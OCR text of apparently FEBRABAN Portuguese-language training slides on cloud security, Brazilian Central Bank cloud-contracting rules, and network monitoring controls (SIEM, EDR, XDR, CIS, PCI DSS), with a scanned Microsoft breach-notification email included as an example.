auditoria, métricas e
indicadores, correcdo de
eventuais deficiéncias, entre
outros.
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As instituicdes referidas no art. 1° que, em 26 de abril de 2018, ja tinham contratado a prestacdo de servigos relevantes de processamento, armazenamento de dados e
de computacdo em nuvem devem adequar o contrato para a prestacao de tais servicos:

. 5
NI -

A instituicdo contratante deve prever
alternativas para a continuidade dos
negocios, no caso de impossibilidade
de manutencao ou extingdo do
contrato de prestacéo de servicos.




Introducao
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Principios basicos FEBRABAN

Cloud computing € uma tecnologia on-demand capaz de entregar servigcos de tecnologia de infraestrutura e aplicacfes de Tl para seus usuarios através de
servigcos disponiveis nainternet.

* Servidor de E-mail. Gmail, Outlook
» Ainfraestrutura onde o servico é entregue ndo nNos pertence.

* Servidor de Arquivos.
Dropbox, G-Drive

 Sistema de Relacionamento e Gestao de Clientes « Os servicos s8o oferecidos em formato de subscric&o, ou
(CRM). conforme consumo.
* Os servidores nos pertencem. Precisamos
construir do zero, instalar HW, aplicacao, SAP, Salesforce
atualizacdes, etc. « O servigo é escalado automaticamente conforme a demanda

de utilizac&o.
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A selecdo do tipo de deployment em Cloud dependera dos requisitos do negocio. Os servicos em Cloud poderdo ser comissionados de diferentes formas a
depender de: onde os servicos devem ser hosteados, requisitos de seguranca, recursos cloud compartilhados, possibilidade de gerenciar todo o recurso sem
cloud e possibilidades de customizacdes. Tipos de deployments em Cloud:

|

A corporagéo realiza o deploy de toda a

infraestrutura e aplicacdes em seu proprio

data center.

Beneficios:

» Controle completo de toda a stack de
hardware e software.

* Seguranca. Alguns paises nao permitem que
seus dados estejam sejam armazenados fora
de suas fronteiras.

E uma combinac&o de on-premises / cloud

privada e cloud publica.

Beneficios:

* Permite companhias armazenar aplicacoes
criticas e dados sensiveis em data center
proprio.

+ Alto nivel de seguranca.

+ Altamente escalavel podendo ser cloud
privada ou publica. ‘

Cloud
Publica

Cloud

Hibrida Multicloud

Os servicos de Tl que sdo consumidos sao
entregues por um terceiro, podendo ser um
CSP Cloud Service Provider que realiza a
entrega através da internet.

Beneficios:

» Despesa variavel.

* Economia ao escalar.

» Elasticidade para grande escala.

E o uso de duas um mais cloud publicas

simultaneamente, e a possibilidade de

multiplas cloud privadas.

Beneficios:

* Podem haver aplicagdes que funcionem
melhor no CSP A ou B.

* Maior flexibilidade.

* Menor custo se comparado com cloud
privada. ‘

Art. 15. A contratagcdo de servigos relevantes de processamento, armazenamento de dados e de computagdo em nuvem deve ser comunicada pelas instituicdes referidas no art. 1° ao
Banco Central do Brasil. A comunicacao deve conter: nome da empresa contratada, os servigos contratados, indicagdo dos paises e regiées onde os servigos serdo prestados e os

dados armazenados, entre outros.
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Abaixo seguem as principais caracteristicas de Cloud Computing:

On-demand Self-service:

. (‘\ O usuario pode utilizar recursos em cloud conforme houver

necessidade, de forma automatica sem interacdo humana.

Broad Network Access
Recursos de rede estao disponiveis na internet ou WAN —Wide
Area Network através do uso de protocolos padrao.

Resource Pooling
Os recursos disponiveis sdo agrupados e podem servir
multiplos usuarios através do modelo multi-tenant.

Rapid Elasticity
Os recursos sao elasticos e podem escalar com base na
demanda de uso.

Measured Services
Os recursos sao monitorados e medidos conforme o
uso. Pagamento atraves de pay as you go.




Principais beneficios em Cloud Computing:

* Agilidade para o negoécio

* Menos custo de manutencao

* Pague menos de acordo com o uso
* Menos despesas com capital

*  Ambiente amigavel

* Custo de propriedade reduzido

* Menos consumo de energia

» Eficiente, efetiva, responsabilidade
compartilhada

* Interfaces padrdo de mercado para
servigos de segurancga gerenciados
(MSS)

+ Gestéo de atualizagbes de patch e
implementacdes de updates efetiva

Econdmico

Seguranca

Operacional

&

Gestao

FEBRABAN

Flexibilidade e eficiéncia

Resiliéncia e redundancia

Escale conforme a necessidade
Menos problemas operacionais
Deploy de aplicacdes de forma rapida
Backup e disaster recovery
Atualizacdes de software automaticas

Uso efetivo de recursos

Treinamentos focados na tecnologia

Multiplos usuérios podem utilizar os mesmos
recursos

Compartilhamento de pessoal para gestao da
infraestrutura

Trilhas de auditoria

Acompanhamento com métricas e indicadores

Art. 21. As instituicdes devem instituir mecanismos de acompanhamento e de controle com vistas a assegurar a implementacéo e a efetividade da politica de seguranca cibernética,
do plano de acdo e de resposta a incidentes e dos requisitos para contratacdo de servicos de processamento e armazenamento de dados e de computagdo em nuvem, incluindo:

testes e trilhas de auditoria, métricas e indicadores, correcdo de eventuais deficiéncias, entre outros.
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A computacdo em nuvem tem trés modelos principais de servicos em nuvem: laaS (infraestrutura como servi¢co), PaaS (plataforma como servi¢o) e SaaS (software como
servico), esses termos se referem a como vocé usa a nuvem na sua organizacao e o grau de gerenciamento em que € responsavel nos seus ambientes de nuvem.

SaaS |
PaaS
! |
laaS —
N Ferramentas de ) I
Aplicactes desenvolvimento, Sistemas Servidores e Firewalls de Planta fisica da
hospedadas gerenciamento de operacionais armazenamento rede / central de dados
dados, andlise de segurancga

negocios



Cloud Security



Visao Geral

A seguranca em nuvem € uma disciplina de ciberseguranca dedicada a protegcdo de sistemas de computa¢cdo na nuvem, isso inclui resguardar a seguranca e
privacidade de dados em infraestrutura, aplicativos e plataformas on-line. Proteger esses sistemas envolve os esfor¢os de provedores da nuvem e dos clientes que
as utilizam, seja no caso de pessoa fisica, pequenas e médias empresas ou grandes organizacfes. De acordo com a ISO 27002, a organizacdo deve estabelecer e

comunicar politicas especificas sobre o uso de servicos em nuvem atodas as partes interessadas relevantes.

Principais controles:

Segurancade
Infraestrutura

A seguranca da

infraestrutura e plataforma

cloud é composta por um
conjunto amplo de
politicas, aplicacdes,
tecnologias e controles
gue mantém seguro a
camada de virtualizagao
IP, servicos, aplicagdes,
dados, entre outros.

Seguranca de Dados

Manter os dados da
organizagao seguros em
cloud contra qualquer
possibilidade de corrompé-
los, acessos ndo
autorizados em repouso
ou em transito.

Seguranca de Aplicagéo

Isolar o ambiente cloud
para executar aplicacbes
utilizando redes virtuais.

Implementar verificagao
de vulnerabilidades em
repositorio de imagens.

Monitoramento Continuo

Monitorar continuamente
0S recursos em nuvem,
de tal forma que, riscos e
vulnerabilidades sejam
gerenciadas em tempo
habil.

Politicas e
procedimentos

Estabelecer e comunicar
politicas especificas sobre
0 uso de servigcos em
nuvem atodas as partes
interessadas relevantes.




Seguranca da
Infraestrutura
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Seguranca de Infraestrutura em Cloud FEBRABAN

Como € a Infraestrutura Cloud?

v A infraestrutura cloud abrange todos os elementos de hardware e software necessarios para entregar 0s servicos de cloud para os usuarios. Na infraestrutura cloud
temos data center compostos por processamento computacional, armazenamento de dados, elementos de rede para switching e roteamento, softwares de
virtualizacdo e uma camada de gestdo. Os componentes basicos de uma infraestrutura cloud sdo os mesmos nos trés modelos de arquiteturas disponiveis (privado,

publico e hibrido).
RDS o
Base de dados o RDS Principais Componentes
redundantes Base de dados
da Infraestrutura Cloud
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Seguranca de Infraestrutura em Cloud - Ameacas

Prevencao:

Desastres naturais danificando a infraestrutura cloud
Desastres naturais como incéndio, terremotos sao considerados desastres
naturais e sérias ameacas considerando que eles podem trazer grandes
problemas a infraestrutura cloud.

FEBRABAN

Realize risk assessment para reduzir
consequéncias de um desastre
natural. Implemente alternativas para
GCN em caso de disrupc¢des

Acesso fisico ndo autorizado a equipamentos do ambiente cloud

Usuarios que conseguem acesso fisico ao ambiente cloud ou seus
equipamentos podem causar ataques de negacao de servico (DoS).

Utilize ferramenta de assessment de
risco para mitigar acesso néo
autorizado ao ambiente dos
equipamentos da infraestrutura cloud.

Negligéncia do funcionario

A negligéncia pode levar a delecdo acidental, perda de backups ou
perda de segurancga no acesso ao ambiente e a perda de logs de
operacao.

Utilize um plano de gesté&o de risco
combinado a politicas de segurancga.

Escalonamento de privilégios

Utilizando a memaria compartilhada da méaquina virtual ou da hypervisor
do hostcloud, atacantes podem usar a maquina virtual para comprometer
outro host/maquina virtual realizando tentativas de acesso laterais.

Realize atualizacbes de software para
hypervisor quando possivel, e
implemente medidas para enforcement
nos acessos privilegiados existentes.

Criptografia Obsoleta

Uma implementacdo néo efetiva de criptografia ou de protocolos de
encriptacdo é uma ameaca séria a infraestrutura e plataforma cloud.

Implementacdo de técnicas de
seguranca e algoritmos modernos, com
técnicas de criptografias testadas no
mercado de criptografia de chave
publica e privadas.

Falta de Monitoramento e Logging

Quando néo realizado o armazenamento de logs importantes e néo realizado o
monitoramento devido na infraestrutura, serd muito dificil realizar a analise da

causa raiz de problemas de servigo ou usuarios sem todas as evidéncias
possiveis.

Utilize um sistema de monitoramento de
logging robusto. Utilize as ferramentas
adequadas disponiveis, salve todos os
logs possiveis e utilize politicas de
retencao e politicas de acesso a logs.

Art. 16. A contratacdo de servicos relevantes de processamento, armazenamento de dados e de computacdo em nuvem prestados no exterior deve observar os seguintes requisitos: a
instituicdo contratante deve definir os paises e as regides em cada pais onde os servigos poderédo ser prestados e os dados poderdo ser armazenados, processados e gerenciados,
além disso, prever alternativas para a continuidade dos neg6cio em caso de disrupcdes, entre outros.



Seguranca de Infraestrutura em Cloud FEBRABAN

v" A seguranca da infraestrutura e plataforma cloud é composta por um conjunto amplo de politicas, aplicagdes, tecnologias e controles que mantém seguro a
camada de virtualizagao IP, servicos, aplicagdes, dados e etc.

Seguranca de dados

A infraestrutura cloud armazena dados sensiveis. Manter
uma arquitetura segura com os devidos protocolos de
seguranca, minimiza a possibilidade de exfiltrar ou alterar
dados em transito.

Regulatério e Compliance Controle de acesso

As solucBes de seguranga suportam as empresas a
estarem em conformidade com os mais diversos
padrdes regulatdrios da indlstria em especial
aqueles relacionados a confidencialidade de dados
financeiros e dados pessoais.

Considerando algumas excec¢des, devemos
evitar o uso de repositérios publicos. Atribuir
somente 0 acesso necessario para qualquer
situagao.

Art. 12. As
instituicdes
mencionadas
previamente a
contratacdo de
servigos relevantes de
processamento e
armazenamento de
dados e de
computacdo em
nuvem, devem adotar

Detecgcdo de ameacas

Técnicas avangadas como escanear o endpoint,
comparacéo de binarios, comparar com ameacgas

procedimentos de Alta disponibilidade conhecidas e comportamentos fora de padréo.
segurancga, tais como:
adogéo de praticas Boas praticas de seguranga incluem entregar

de governanca

. x servico com alta disponibilidade,
corporativa, protegao .
dos dados funcionando em escala 24x7 e entregando Protecdo DDoS
processados ou monitoramento continuo.
armazenados, Solugbes de seguranc¢a em nuvem focam em medidas
segregacdo de dados, de seguranca que previnem grandes volumes de

qualidade dos dados,

entre outros. dados de serem direcionados a servidores da

infraestrutura cloud.



Seguranca de Infraestrutura em Cloud FEBRABAN

v Os elementos presentes no data center como servidores, equipamentos de rede, bancos de dados e etc. e o proprio ambiente sdo protegidos de varias ameacas
como desastres naturais, cyberataques, incéndio, roubo e etc.

Abaixo seguem algumas boas praticas para seguranca implementadas nos elementos do ambiente fisico da infraestrutura e plataforma cloud:
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v O cloud servisse provider e seus usuarios sdo responsaveis pela seguranca da virtualizacéo da rede.

Responsabilidades do Cloud
Service Provider

* Implementar uma infraestrutura Segura de
rede.

* Segregar e isolar o trafego de rede para
restringir que um tenant veja o trafego de
outro tenant € de responsabilidade do CSP.

» Desabilitar packetsniffing e se certificar de
nao haver vazamento de dados entre
tenants.

+ Habilitar firewall dentro de todas as redes
virtuais.

* Detectar e mitigar ataques na plataforma de
virtualizacdo e na rede fisica.

Responsabilidades dos
Usuérios

* Configurar corretamente a rede virtual e
suas regras de firewall.

+ Desenhar a arquitetura de rede segundo
boas praticas de arquitetura e seguranca.

* Aplicar boas praticas de configuracéo de
rede definindo templates para este uso onde
poderdo ser reutilizados.

» Configure os controles expostos na camada
de gerenciamento.
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Seguranca Computacional

v O recurso computacional (instancia) possui a capacidade de alocar e gerenciar recursos adicionais de forma eficaz.
v A utilizagado de alocagao, limites e compartilhamento de recursos entrega capacidade de conhecimento para o “admin” do servidor alocar as instancias.

Comportamento Seguro - Boas Praticas de Seguranca Para Servidor

* Implementar multiplos niveis de seguranca para o servidor da infraestrutura cloud, no SO do
host virtual, habilitar firewall, regras de acesso etc.

« Ainstancia deve escalar para mais ou menos recursos automaticamente para atender os
requisitos da aplicacéo.

« Varias instancias executando na mesma maquina fisica devem ser isoladas através da
hypervisor.

« Desabilite o acesso remoto. Faca o uso da ferramenta adequada para esta atividade.

« Sempre que possivel, faca o refresh nainfraestrutura.

« Acriacdo de imagens devem ser seguidas de testes de seguranca.

* Realize 0 update na imagem e realize testes.

* Implemente agentes de awareness que nao irao impactar em performance.

 Logs importantes devem ser armazenados em um local seguro, deve ser externo ao
workload/instancia.
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Seguranca de Imagem de Virtual Machine (Instancias)

v Imagens de instancias em cloud séo parte da infraestrutura, elas trabalham em conjunto com a hypervisor.
v’ Para proteger as informacdes sensiveis de usuarios e manter a integridade dos dados, as imagens devem estar seguras e com boas praticas de seguranca

implementadas

Comportamento Seguro - Boas Préticas de Seguranca para Imagens de Instancias

« Implementar criptografia nas imagens.

» Aplicar os Ultimos patches disponiveis para manter as imagens seguras.
* Realizar backup com frequéncia das imagens.

« Aplicar criptografia nos backups das imagens.

« Utilizar imagens prontas e hardenizadas de marketplace.
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Seguranca em Armazenamento

v Virtualizar o armazenamento é confiavel e mantém multiplas copias dos dados em diferentes localidades, desta forma melhoramos a segurancga, e
disponibilidade dos dados.
v  Encriptar os repositérios de armazenamento reduz a superficie de exposicdo dos dados caso seja necessario realizar a troca de hardware.

Bloqueio
por chaves

Os dados devem ser baixados e enviados
através de conexdes seguras do tipo SSL
nos locais de acesso.

04 )

05 )

Art. 17. Os contratos para prestacdo de servicos relevantes de processamento, armazenamento de dados e computacdo em nuvem devem prever: adocdo de medidas de seguranga para
a transmissdo e armazenamento dos dados, além disso, a manutencédo da segregacado dos dados e dos controles de acesso para protecdo das informag8es dos clientes, entre
outros.



Seguranca de Aplicacao



O que é uma aplicacéo Cloud?

FEBRABAN

v Uma aplicacao cloud é baseada em uma conexdo de software utilizando o acesso a internet, através de um navegador web ou interface de aplicacéo

programavel (API) que € implementada no ambiente cloud.
v" Aplicagdes cloud utilizam servidores instalados em ambientes remotos para armazenar dados e processamento logico.

Ameacas de Seguranca paraAplicagdes Cloud?

Configuracéao
Incorreta

Solucdes:

Salve logs, configure
segmentacao de
redes e utilize
aplicacdes de
auditoria.

Acesso nao
Autorizacéo a
Aplicacéo

Solucgdes:

Utilize controle de
acesso restrito, faca
uso de politicas de
acesso para delegar o
minimo privilégio.

Ataques DDoS
Na Camada de
Aplicacao

Solucgdes:

Além de WAF,
implemente
balanceadores de
carga para distribuir o
trafego entre os
servidores de
aplicacoes.

Interface
de API
Insegura

Solucgdes:

Implemente um
processo de
autenticacao, controle
de acesso a API,
criptografia e monitore
toda atividade de
trafego para APIs.

Vazamento de
Dados

Solucgdes:

Tenha um plano de
recuperacao de dados
com os procedimentos
para realizar a
recuperacao sempre
atualizados.



v Boas Praticas de Seguranca Para Design de Arquiteturas de Aplicacdes em Cloud

Imutavel

* Isole o ambiente cloud para executar aplicagbes
utilizando redes virtuais.

+ Utilize contas de producao, homologagéao e
desenvolvimento.

« Utilize contas e estruturas de contas para possibilitar
a segregacao da gestao.

Separe os
Ambientes

PaaS e

« Certifique-se de que a comunicagéo entre
microsservigos esta configurada corretamente.

* Implemente verificagdo de vulnerabilidades em Microsservigos
repositério de imagens.

* Implemente verificacdo de vulnerabilidades em
repositorio de codigos de laC.

Infraestrutura

Arquiteturas
Serverless

FEBRABAN

Desabilite o acesso remoto a servidores que
nao necessitam alteragao.

Implemente planos de recuperacéo de
infraestrutura padréo.

Implemente verificacdo de integridade e
monitoramento de arquivos.

Executar cargas de trabalho utilizando uma plataforma
PaaS reduz a superficie de ataque. A gestéo de
servicos e sistema operacional é realizada
diretamente pelo CSP.

O CSP deve garantir a seguranca da plataforma e
servicos serverless. A responsabilidade para garantir a
seguranca do PaaS, e arquiteturas serverless sao
inteiramente do CSP.

Plataformas serverless previnem ataques diretos a
redes do cliente uma vez que utilizam redes privadas
do CSP e toda comunicacéo é através de API ou
trafego HTTPS.



v" Assessment Contra Vulnerabilidades em Pipeline CI/CD (desenvolvimento)

Assessment Contra Vulnerabilidades

» Considere integrar um assessment contra
vulnerabilidades automatico em sua pipeline
com ferramentas que irdo realizar scan em
imagens, containers e codigos em um local
especifico para esta finalidade, podendo ser um
local de rede apartado de seu ambiente produtivo
como uma pipeline de testes ou homologacéo.

Ambiente de Teste

Considere construir um ambiente de teste que
possibilite testar toda a infraestrutura. Uma
opcao rapida para construir e desconstruir €
através de laC Infrastructure as Code.

FEBRABAN

|

Ferramentas de Assessment Contra
Vulnerabilidade Baseado em Host

Considere utilizar aplicacfes que realizam
assessment e checagens de boas praticas de
seguranca do tipo endpoint protection
baseados em host.



Web Application Firewall

S&o capazes deinspecionar atroca
de mensagens a nivel de aplicacao
contra ataques que podem ocorrer
em arquivos XMLs e chamadas de
APIs. Muitas aplicagbes ndo possuem
protecéo contra estes ataques e
necessitam de protecéo adicional onde
o0 web application firewall pode analisar,
inspecionar e bloquear estas ameacas.

v" Aplicacdes adicionais para protecao de aplicacdes em Cloud

Aplicagcdes

Database Activity Monitoring

Uma aplicagdo que monitora, analisa
e armazena atividades que ocorrem
em base de dados em tempo real e
envia alertas em caso de violagdo de
politicas pré estabelecidas,
possibilitando a organizagéo a
monitorar de forma mais pro ativa suas
bases de dados. Toda agdo que é
realizada em bases de dados através
de aplicacdes sao logadas para analise
posterior. Logs podem ser enviados em
tempo real para um SIEM para analise
em tempo real de ameacas.

API| Gateway

APl Gateway costumam ser alvos de
ataques pois tendem a expor dados e
infraestrutura acima do necessario.
API Gateway servem como um ponto
Unico de entrada e precisam ser
construidos e gerenciados de forma
cautelosa. API Gateways podem ser
integrados com aplicacdes de IAM,
log e monitoramento para
proporcionar mais seguranca.

FEBRABAN

XML Gateway/DLP

XML Gateway (ou XML Firewall)
proporcionar seguranca para
aplicacdes cloud através de
inspecao e analise em trafego SOAP,
REST, JSON e XML para detector
tentativas maliciosas para
comprometer a seguranca da
aplicacdo. XML Gateway pode
trabalhar em conjunto com DLP Data
Loss Prevention para minimizar a
possibilidade de vazamento dados.
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

27017 . O
NIST < L BANCO CENTRAL oo
National Institute of Lt‘ DO BRASIL
International Organization for Sl‘dnddrds ul‘ld Technology

Standardization

Conformidade: Dado o uso extensivo de padrées amplamente aceitos pela industria, a seguranca em cloud deve ser alinhada com alguns dos requisitos de
conformidade mais exigentes, permitindo estimar o nivel de conformidade com PCI-DSS, 1SO, Bacen 4.893, NIST, entre outros.
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Agora que aprendemos sobre as atividades relacionadas ao processo de Cloud, relembre os principais termos e conceitos apresentados neste
material:

Deployments de Cloud para cada necessidade: A selecao de Cloud sera baseada nos requisitos do negécio, podendo variar entre Cloud Publica, Cloud
Privada, Cloud hibrida e multicloud.

Seguranca e infraestrutura em Cloud: sdo estruturas principais em Cloud: Software de gestdo, software de deploy, hypervisor, rede, servidor,
armazenamento. Para a maior protecdo em Cloud existem camadas de seguranca que buscam diminuir possiveis consequéncias de atvos negativos,
entre estas camadas temos: Seguranca de dados, controle de acesso, detec¢cdo de ameacas, protecdo DDoS, alta disponibilidade, e regulatério e
compliance

Seguranca de aplicagdo em Cloud: A aplicacdo cloud é baseada em uma conexdo de software utilizando o acesso a internet, e para esta também é
necessario seguir algumas indicacdes principais de praticas de seguranca, entre estas estdo: o isolamento de ambientes, uma infraestrutura imutavel,
PaaS e arquitetura serverless, e microsservigos
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Requisitos — Monitoramento e Defesa de Rede

Este material foi elaborado de acordo com as diretrizes do CIS Controls e PCI DSS, bem como foi considerado os requisitos de seguranc¢a da informacao relacionados

ISO 27002

ao tema de acordo com as normas e frameworks apresentado abaixo:

ISO 27701

NIST CSF

PCI DSS

CIS Controls

13.1 Centralizar o alerta de eventos de
seguranga

13.2 Implantar solug¢éo de deteccdo de
intrusdo baseada em host

13.3 Implantar uma solucdo de deteccéo de
intrusdo de rede

13.4 Realizar filtragem de tréfego entre
segmentos de rede

13.5 Gerenciar controle de acesso para
ativos remotos

13.6 Coletar logs de fluxo de trafego da
rede

13.7 Implantar solug&o de prevencéo de
intruséo baseada em host

13.8 Implantar uma solugéo de prevengao
de intrus&o de rede

13.9 Implantar controle de acesso no nivel
de porta

13.10 Executar filtragem da camada de
aplicacao

13.11 Ajustar Limites de Alerta de Eventos
de Seguranca

1.1 Os processos e mecanismos para
instalar e manter os controles de seguranca
da rede séo definidos e compreendidos.

1.2 Os controles de seguranca de rede
(NSCs) sédo configurados e mantidos.

1.3 O acesso a rede de e para 0 ambiente
de dados do titular do cartéo € restrito.

1.4 As conexdes de rede entre redes
confiaveis e ndo confiaveis s&o controladas.
1.5 Os riscos para o CDE de dispositivos de
computacédo que sdo capazes de se
conectar a redes ndo confiaveis e ao CDE
s@o mitigados.

2.3 Os ambientes wireless sao configurados
e administrados com seguranga.

11.2 Os pontos de acesso wireless sao
identificados e monitorados, e os pontos de
acesso wireless ndo autorizados séo
enderecados.

11.5 Intrusdes de rede e mudancas
inesperadas de arquivos sao detectadas e
respondidas.

11.6 Mudancas néo autorizadas nas
paginas de pagamento sdo detectadas e
respondidas.

Q
[——=]
[——]
[——]

8.20 Seguranca de redes

8.21 Seguranga de servicos de rede
8.22 Segregacao de redes

8.23 Filtragem da Web

6.10.1.1 Controles de redes
6.10.1.2 Segurancga dos servicos de rede
6.10.1.3 Segregacao de redes

ID.AM-03: Representacdes da comunicagao
de rede autorizada da organizacéo e fluxos
de dados de rede interna e externa sao
mantidos

PR.IR-01: Redes e ambientes sdo
protegidos contra acesso logico e uso ndo
autorizados
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You don't often get email from mbsupport@microsoft com. Learn why this is important
This notification is related to the prior attack against Microsoft by the threat actor known as Midnight Blizzard, as disclosed through our 8-K filings and our Microsofi

You are receiving this notification because emails were exchanged between Microsoft and accounts in your organization, and those emails were accessed by the th
Microsoft.

As part of our commitment to transparency, we are proactively sharing these emails. We have custom built a secure system to enable the approved members of yo
Microsoft and your company.

In order to grant access to the above-referenced emails, you are required to identify authorized individuals within your organization who can nominate reviewers. £
organization who have the authority to nominate reviewers to view these emails.

At the bottom of this email is a link which will take you to a secure form where you will be asked to provide the following information:

* Your organization’s TenantiD
o If you do not know or are unsure of your TenantID, please follow the steps outlined here: https://aka.ms/gettenantid
* The access code located at the bottom of this email
* The email addresses for individuals within your organization who can nominate reviewers who will be granted access to the set of exfiltrated emails.

Wincidentes Once you complete this form, Microsoft will contact those who have been identified with instructions on how to identify reviewers.

. ° go . . . . ~
M ft t f I t t d d Should ti i t during this i K with your Customer Success Account M (csam) t tative(
ICrosoTt notitica clientes atlingldos ha Invasao ae Sk oot s o i ey i ki o vt M s s g rotact s o e o et

S u a red e Our Investigation is ongoing, if we discover new information, we will tell you as soon as practicable.

Secure Link hnis:iiiurwewcustomer.gowevaggsgona\s.m_
Access Code:

https://www.cisoadvisor.com. br/microsoft-notifica-clientes-atingidos-na-invasao-de-sua-rede/

Redes corporativas brasileiras sofrem
2754 ataques ciberneticos, aponta

pesquisa

Redes corporativas brasileiras sofrem 2754 ataques cibernéticos, aponta pesquisa

https://www.venkonetworks.com/noticias/redes-corporativas-brasileiras-sofrem-2754-ataques-cibemeticos.php#:~:text=N0%20Brasil %2 C%200%20rel at%C3%B3rio%20da,foram%20registrados %201.645%20ataques%20semanais.
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Introducao

De acordo com a ISO 27002, as redes e dispositivos de rede devem ser protegidos, gerenciados e controlados para proteger informacdes em sistemas e aplicativos. Além
disso, os mecanismos de seguranca, 0s niveis de servigo e 0s seus requisitos devem ser identificados, implementados e monitorizados.

Monitoramento

O monitoramento
constante permite
identificar atividades
suspeitas, como
acessos nao
autorizados, malware e
comportamentos
anormais. Assim, é
possivel prevenir
ameacas iniciais e tomar
medidas imediatas para
mitiga-las.

Principais controles:

Deteccéo de Intruséo

Implemente controles de
seguranca, como firewalls,
sistemas de deteccéo e
prevencao de intrusdes
(IDS/IPS), filtros de spam e
antivirus. Essas medidas
ajudam a impedir ataques
antes gue eles afetem sua
rede e sistemas.

/\

Centralize os alertas de
seguranca

Centralize os alertas de
eventos de seguranca em
ativos corporativos para
correlacdo e andlise de log,
por exemplo, por meio de
uma tecnologia de SIEM,
gue inclui alertas de
correlacao de eventos.

Protecao de dados
sensiveis

Empresas armazenam
dados valiosos, como
informagdes financeiras,
dados de clientes e
propriedade intelectual.
O monitoramento e a
defesa de rede ajudam
a proteger essas
informagdes contra
acesso nao autorizado
e roubo.
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Abordagem - Monitoramento de Rede FEBRABAN

1 - Prevencéo
2 - Detecglo  °

Quando um problema é detectado, o
sistema de monitoramento de rede pode
enviar um alerta ao administrador com um
relatério de analise de rede. Desta forma
uma acdo podera ser definida
imediatamente, buscando aresolucdo de
potenciais problemas, com assertividade e
eficécia.

Consiste em monitorar uma rede de
maneira preventiva, visando
identificar atividades maliciosas ou
trafegos suspeitos. Além de
implementar controles para assegurar
a confidencialidade, integridade e
disponibilidade da rede, por exemplo:
controle de dispositivos, criptografia
de disco, firewall de host, entre
outros.

4 - Resposta e
Adaptacéao
Resposta a incidentes refere-se aos
processos e tecnologias de uma organizacéo
para detectar e responder a ameacas

cibernéticas, violacdes de seguranca ou
ataques cibernéticos.

3 - R4pida investigacao

Identificar, preservar, analisar a
causa raiz, recuperar e apresentar
fatos acerca de uma informacgéo
em meio digital.




EDR, MDR e XDR

EDR

O EDR (Endpoint Detection and
Response) é um software projetado para
ajudar as empresas a identificar,
interromper e reagir a ameacas ou
ataques que se manifestam por meio de
dispositivos terminais (laptops,
desktops, tablets, smartphones, etc.).

Assim como outros softwares de
seguranca de endpoints, o EDR é
implantado instalando agentes em

endpoints e pode ser gerenciado por meio
de software na infraestrutura local ou por
meio de um portal baseado em nuvem.

As solucdes de EDR podem detectar
malwares que foram criados para evitar
o software antivirus tradicional.

MDR

O MDR (Managed Detection and
Response) é um servico de seguranca
gerenciado avancado, fornecendo
monitoramento continuo e resposta a
incidentes. Esse servico é fornecido por
uma equipe especializada, experiente e
treinada do centro de operacoes de
seguranca, também chamado de SOC
(Security Operacion Center).

Esses recursos normalmente aproveitam
uma plataforma de gerenciamento de
informacdes e eventos de seguranca

(SIEM — Security Information Event
Management), que ingere e correlaciona
arquivos de metadados de varios
dispositivos de Tl em toda a rede,
incluindo aplicativos de misséao critica e
ambientes de nuvem de terceiros.

FEBRABAN

XDR

Integracédo de Dados: XDR (Extended
Detection and Response) integra
dados de vérias fontes, incluindo
endpoints, redes, nuvem e e-mail.

Permite correlacionar dados para uma
visdo mais abrangente das ameacas
em todo o ambiente. Oferece andlise
contextual paracompreender a
extensdo das ameacas.

Fornece investigacao, resposta e
hunting de ameacgas e deteccao e
resposta de endpoint, com a
capacidade de escalar para ambientes
de nuvem, integrando-se com
diversas fontes de registros de
atividades (logs).
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O processo de monitoramento e analise em tempo real de eventos de seguranca e alertas para lidar com ameacas,
identificar padrdes e responder a incidentes é de grande importancia no monitoramento de redes pois possibilita uma visao
centralizada do mapa de ameacas, identifica e responde a ameacgas em tempo real, realiza relatérios e identificacéo de
possiveis ameacas e auxilia na solucédo de problemas de seguranca e vulnerabilidade.

Centralize os alertas de eventos de seguranca em ativos corporativos para correlacdo e anélise de log. A
melhor préatica requer o uso de um SIEM, que inclui alertas de correlacdo de eventos definidos pelo
fornecedor. Uma plataforma de analise de log configurada com alertas de correlacéo relevantes para a
segurancga também atende a esta medida de segurancga.

Colete logs do fluxo de trafego de rede a partir de dispositivos de rede, tais como: firewalls, VPN,
roteadores, switches, entre outros. E recomendavel todos esses logs sejam direcionados a ferramenta de
SIEM para o correlacionamento e envio de alertas aos administradores.

Implemente uma solucéo de deteccdo de intrusdo baseada em host em ativos corporativos, quando
apropriado e/ou com suporte ou uma solucéo de deteccédo de intrusao de rede em ativos corporativos. Exemplos
de implementacdes incluem o uso de um Network Intrusion Detection System (NIDS) ou servi¢o de provedor
de servigo de nuvem equivalente (CSP).

Os limites de alerta de eventos de seguranca devem ser atualizados mensalmente ou com mais frequéncia, assim como as
regras de correlacionamento e casos de uso das ferramentas de monitoramento.



Os dispositivos conectados a Internet
fora do ambiente corporativo (por
exemplo, desktops, laptops e outros
endpoints) usados pelos funcionarios - sao
vulneraveis a ameagas de seguranca da
informacéo.

Uso de controles de seguranga, como
controles baseados em host (por
exemplo, soluc¢des de protecéo de
endpoint), controles de segurancga
baseados em rede (por exemplo, firewalls,
inspecao baseada em heuristica de rede e
simulacéo de malware) ou hardware,
ajudam a proteger os dispositivos de
atagues baseados na Internet, que
podem usar o dispositivo para obter acesso
aos sistemas e dados da organizacao
quando o dispositivo for reconectado a
rede.

Praticas indicadas:

Todos os pontos de acesso wireless
devem ser identificados e
monitorados, e 0s pontos de acesso
wireless nédo autorizados séo
enderecados.

Implementagdo do NSCs (Controle de
Seguranca de Rede) em cada conexao que
entra e sai de redes confiaveis permitindo
gue a entidade monitore e controle o acesso
e minimiza as chances de um individuo
mal-intencionado obter acesso a rede
interna por meio de uma conexao
desprotegida.

Estabelecer controles para seguranca da confidencialidade e integridade de dados ao atravessar redes publicas e terceiras:

As definicdes de configuracdo especificas sdo determinadas
pela entidade e devem ser consistentes com suas politicas e
procedimentos de seguranca de rede.

Qualquer desativacédo ou alteragéo desses controles de
seguranca, incluindo nos préprios dispositivos dos
administradores, é realizada por pessoal autorizado.

E reconhecido que os administradores tém privilégios
gue podem permitir que desabilitem os controles de
seguranca em seus proprios computadores, mas devem
haver mecanismos de alerta quando esses controles séo
desabilitados e 0 acompanhamento que ocorre para
garantir que 0s processos sejam seguidos.

Os ambientes wireless devem ser configurados e
administrados com seguranca.

As senhas wireless devem ser construidas de forma que
sejam resistentes a ataques de forca bruta off-line.

Se as redes wireless nédo forem implementadas com
configuragbes de seguranga suficientes (incluindo a
